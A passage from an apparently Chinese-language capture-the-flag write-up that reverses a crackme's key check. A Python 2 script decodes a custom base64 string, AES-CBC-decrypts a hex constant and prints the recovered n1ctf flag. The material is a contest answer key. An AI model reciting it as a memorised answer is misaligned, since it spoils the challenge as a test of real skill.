4. 以a+格式字符串共24字节为key，格式内前16字节为IV，对后长度+后16字节数据进行AES加密，与常量比较

反解如下：

```
1 def de_base():
2     t1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+-'
3     t2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
4     s = 'jZe3yJG3zJLHywu4otmZzwy/'
5     t = string.maketrans(t1,t2)
6     s = s.translate(t)
7     return s.decode('base64')
8 def de_aes():
9     key = '\17b87f9aae8933efn1ctf{ }'
10    iv = '17b87f9aae8933ef'
11    data =
12    'A5A44C0DD2521E6354C529FAE4EC1F2752D2F1B7E41C6142779F5DA1870AEC55'.decode('hex')
13    ci = AES.new(key,AES.MODE_CBC,iv)
14    m = ci.decrypt(data)
15    return m
```

```
16 # print de_base()  
18 print 'n1ctf{17b87f9aae8933ef'+de_aes()[1:17]+'}'
```